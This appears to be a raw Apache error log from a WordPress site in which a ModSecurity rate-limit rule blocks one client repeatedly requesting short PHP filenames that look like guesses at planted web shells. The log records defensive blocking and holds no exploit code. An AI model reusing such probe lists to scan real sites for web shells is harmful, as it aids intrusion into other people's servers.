[Mon Dec 22 19:06:38.838425 2025] [:error] [pid 33472:tid 33503] [client 4.217.179.78:17659] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lopst.php"] [unique_id "aUkmPp5p2WQpPIK8HAkafQAAAYI"]
[Mon Dec 22 19:06:39.610434 2025] [:error] [pid 58172:tid 58196] [client 4.217.179.78:17604] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wft.php"] [unique_id "aUkmP-SVKDT5jWOcnSXPpAAAANY"]
[Mon Dec 22 19:06:40.165194 2025] [:error] [pid 58172:tid 58176] [client 4.217.179.78:28853] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wft.php"] [unique_id "aUkmQOSVKDT5jWOcnSXPpQAAAMI"]
[Mon Dec 22 19:06:40.957134 2025] [:error] [pid 33472:tid 33519] [client 4.217.179.78:17623] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wft.php"] [unique_id "aUkmQJ5p2WQpPIK8HAkahAAAAZI"]
[Mon Dec 22 19:06:41.678098 2025] [:error] [pid 56080:tid 56124] [client 4.217.179.78:27184] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wft.php"] [unique_id "aUkmQZIHT3YJq9hjDc7TmwAAAwA"]
[Mon Dec 22 19:06:42.324296 2025] [:error] [pid 58172:tid 58187] [client 4.217.179.78:28200] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws28.php"] [unique_id "aUkmQuSVKDT5jWOcnSXPqwAAAM0"]
[Mon Dec 22 19:06:42.925074 2025] [:error] [pid 56155:tid 56232] [client 4.217.179.78:21523] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws28.php"] [unique_id "aUkmQmG8a3wQucsuN67fbQAAA4o"]
[Mon Dec 22 19:06:43.625698 2025] [:error] [pid 33440:tid 33456] [client 4.217.179.78:21541] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws28.php"] [unique_id "aUkmQ5OsUWKqgxu6QTQcgwAAAQ4"]
[Mon Dec 22 19:06:44.119931 2025] [:error] [pid 58172:tid 58183] [client 4.217.179.78:17650] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws28.php"] [unique_id "aUkmROSVKDT5jWOcnSXPrAAAAMk"]
[Mon Dec 22 19:06:44.466854 2025] [:error] [pid 58172:tid 58192] [client 4.217.179.78:17620] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "aUkmROSVKDT5jWOcnSXPrgAAANI"]
[Mon Dec 22 19:06:45.416218 2025] [:error] [pid 58078:tid 58084] [client 4.217.179.78:23135] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "aUkmRZWKg9Bf8njHlB4eigAAAAE"]
[Mon Dec 22 19:06:46.592970 2025] [:error] [pid 58172:tid 58197] [client 4.217.179.78:25395] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "aUkmRuSVKDT5jWOcnSXPtAAAANc"]
[Mon Dec 22 19:06:47.407503 2025] [:error] [pid 33472:tid 33508] [client 4.217.179.78:25373] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "aUkmR55p2WQpPIK8HAkaiwAAAYc"]
[Mon Dec 22 19:06:48.225323 2025] [:error] [pid 56080:tid 56133] [client 4.217.179.78:25404] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vbbn.php"] [unique_id "aUkmSJIHT3YJq9hjDc7ToQAAAwk"]
[Mon Dec 22 19:06:48.912563 2025] [:error] [pid 58078:tid 58091] [client 4.217.179.78:20062] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vbbn.php"] [unique_id "aUkmSJWKg9Bf8njHlB4ejQAAAAg"]
[Mon Dec 22 19:06:49.596223 2025] [:error] [pid 56080:tid 56143] [client 4.217.179.78:29766] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vbbn.php"] [unique_id "aUkmSZIHT3YJq9hjDc7TowAAAxM"]
[Mon Dec 22 19:06:50.808729 2025] [:error] [pid 33535:tid 33543] [client 4.217.179.78:29044] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vbbn.php"] [unique_id "aUkmSmOCI8D9Xtn-n7SqWwAAAcY"]
[Mon Dec 22 19:07:02.544237 2025] [autoindex:error] [pid 56155:tid 56225] [client 4.217.179.78:6407] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Dec 22 19:07:11.091675 2025] [:error] [pid 56155:tid 56237] [client 4.217.179.78:6407] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aUkmX2G8a3wQucsuN67fkQAAA48"]
[Mon Dec 22 19:07:11.734330 2025] [:error] [pid 33440:tid 33451] [client 4.217.179.78:29143] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aUkmX5OsUWKqgxu6QTQcnAAAAQk"]
[Mon Dec 22 19:07:12.302839 2025] [:error] [pid 33535:tid 33549] [client 4.217.179.78:29430] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aUkmYGOCI8D9Xtn-n7SqawAAAcw"]
[Mon Dec 22 19:07:12.902715 2025] [:error] [pid 58078:tid 58098] [client 4.217.179.78:29167] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aUkmYJWKg9Bf8njHlB4erQAAAA8"]
[Mon Dec 22 19:07:13.618961 2025] [:error] [pid 56080:tid 56147] [client 4.217.179.78:23464] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aUkmYZIHT3YJq9hjDc7TsgAAAxc"]
[Mon Dec 22 19:07:14.310310 2025] [:error] [pid 58078:tid 58084] [client 4.217.179.78:24698] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aUkmYpWKg9Bf8njHlB4erwAAAAE"]
[Mon Dec 22 19:07:14.916892 2025] [:error] [pid 56155:tid 56235] [client 4.217.179.78:17579] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aUkmYmG8a3wQucsuN67flgAAA40"]
[Mon Dec 22 19:07:15.925232 2025] [:error] [pid 56155:tid 56234] [client 4.217.179.78:19991] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aUkmY2G8a3wQucsuN67fmAAAA4w"]
[Mon Dec 22 19:07:16.393587 2025] [:error] [pid 58172:tid 58195] [client 4.217.179.78:30788] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aUkmZOSVKDT5jWOcnSXP4wAAANU"]
[Mon Dec 22 19:07:17.176641 2025] [:error] [pid 58172:tid 58183] [client 4.217.179.78:20293] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aUkmZeSVKDT5jWOcnSXP5AAAAMk"]
[Mon Dec 22 19:07:17.759504 2025] [:error] [pid 58078:tid 58087] [client 4.217.179.78:29400] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aUkmZZWKg9Bf8njHlB4etAAAAAQ"]
[Mon Dec 22 19:07:18.306802 2025] [:error] [pid 58078:tid 58086] [client 4.217.179.78:6681] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aUkmZpWKg9Bf8njHlB4etQAAAAM"]
[Mon Dec 22 19:07:18.993574 2025] [:error] [pid 33472:tid 33519] [client 4.217.179.78:6710] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aUkmZp5p2WQpPIK8HAkaqwAAAZI"]
[Mon Dec 22 19:07:19.960396 2025] [:error] [pid 58078:tid 58085] [client 4.217.179.78:6333] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aUkmZ5WKg9Bf8njHlB4etwAAAAI"]
[Mon Dec 22 19:07:20.979613 2025] [:error] [pid 33440:tid 33447] [client 4.217.179.78:28389] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aUkmaJOsUWKqgxu6QTQcpwAAAQU"]
[Mon Dec 22 19:07:21.573407 2025] [:error] [pid 33564:tid 33578] [client 4.217.179.78:20579] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aUkmaQSHeG6oLmMnKY6pTgAAAgs"]
[Mon Dec 22 19:07:22.494946 2025] [:error] [pid 33472:tid 33501] [client 4.217.179.78:29207] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aUkmap5p2WQpPIK8HAkarQAAAYA"]
[Mon Dec 22 19:07:24.000777 2025] [:error] [pid 33564:tid 33579] [client 4.217.179.78:6297] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aUkmbASHeG6oLmMnKY6pUQAAAgw"]
[Mon Dec 22 19:07:24.981203 2025] [:error] [pid 33564:tid 33588] [client 4.217.179.78:6693] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aUkmbASHeG6oLmMnKY6pVAAAAhU"]
[Mon Dec 22 19:07:25.997320 2025] [:error] [pid 33471:tid 33494] [client 4.217.179.78:22299] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aUkmbb5BeNE7regJ7iw1jQAAAVQ"]
[Mon Dec 22 19:07:27.466309 2025] [:error] [pid 58078:tid 58095] [client 4.217.179.78:15522] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aUkmb5WKg9Bf8njHlB4ezwAAAAw"]
[Mon Dec 22 19:07:27.927025 2025] [:error] [pid 56080:tid 56147] [client 4.217.179.78:6322] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aUkmb5IHT3YJq9hjDc7TvAAAAxc"]
[Mon Dec 22 19:07:28.548129 2025] [:error] [pid 33564:tid 33582] [client 4.217.179.78:48263] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aUkmcASHeG6oLmMnKY6pWAAAAg8"]
[Mon Dec 22 19:07:29.258413 2025] [:error] [pid 33564:tid 33587] [client 4.217.179.78:6357] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aUkmcQSHeG6oLmMnKY6pWgAAAhQ"]
[Mon Dec 22 19:07:29.990704 2025] [:error] [pid 33471:tid 33491] [client 4.217.179.78:6312] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aUkmcb5BeNE7regJ7iw1lgAAAVE"]
[Mon Dec 22 19:07:30.658151 2025] [:error] [pid 56044:tid 56059] [client 4.217.179.78:26650] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aUkmcu60uUaieriJqP1Z2AAAAIs"]
[Mon Dec 22 19:07:31.071539 2025] [:error] [pid 33471:tid 33485] [client 4.217.179.78:20595] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aUkmc75BeNE7regJ7iw1mQAAAUs"]
[Mon Dec 22 19:07:32.185364 2025] [:error] [pid 56155:tid 56240] [client 4.217.179.78:6296] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aUkmdGG8a3wQucsuN67fqwAAA5I"]
[Mon Dec 22 19:07:33.060535 2025] [:error] [pid 56044:tid 56060] [client 4.217.179.78:26665] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aUkmde60uUaieriJqP1Z2QAAAIw"]
[Mon Dec 22 19:07:33.786711 2025] [:error] [pid 33564:tid 33588] [client 4.217.179.78:30051] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aUkmdQSHeG6oLmMnKY6pXwAAAhU"]
[Mon Dec 22 19:07:34.206713 2025] [:error] [pid 33472:tid 33525] [client 4.217.179.78:6314] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aUkmdp5p2WQpPIK8HAkaugAAAZg"]
[Mon Dec 22 19:07:34.894170 2025] [:error] [pid 58172:tid 58182] [client 4.217.179.78:15496] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aUkmduSVKDT5jWOcnSXP-AAAAMg"]
[Mon Dec 22 19:07:35.695277 2025] [:error] [pid 56044:tid 56054] [client 4.217.179.78:22273] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aUkmd-60uUaieriJqP1Z3AAAAIY"]
[Mon Dec 22 19:07:36.181922 2025] [:error] [pid 58078:tid 58096] [client 4.217.179.78:25422] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aUkmeJWKg9Bf8njHlB4e4gAAAA0"]
[Mon Dec 22 19:07:36.771298 2025] [:error] [pid 56155:tid 56224] [client 4.217.179.78:15537] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aUkmeGG8a3wQucsuN67ftwAAA4I"]
[Mon Dec 22 19:07:37.839204 2025] [:error] [pid 56080:tid 56147] [client 4.217.179.78:25696] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aUkmeZIHT3YJq9hjDc7TyQAAAxc"]
[Mon Dec 22 19:07:38.439201 2025] [:error] [pid 33535:tid 33556] [client 4.217.179.78:30058] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aUkmemOCI8D9Xtn-n7SqhQAAAdM"]
[Mon Dec 22 19:07:39.151402 2025] [:error] [pid 58172:tid 58174] [client 4.217.179.78:26200] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aUkme-SVKDT5jWOcnSXQBAAAAMA"]
[Mon Dec 22 19:07:39.667050 2025] [:error] [pid 58172:tid 58175] [client 4.217.179.78:15764] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aUkme-SVKDT5jWOcnSXQBgAAAME"]
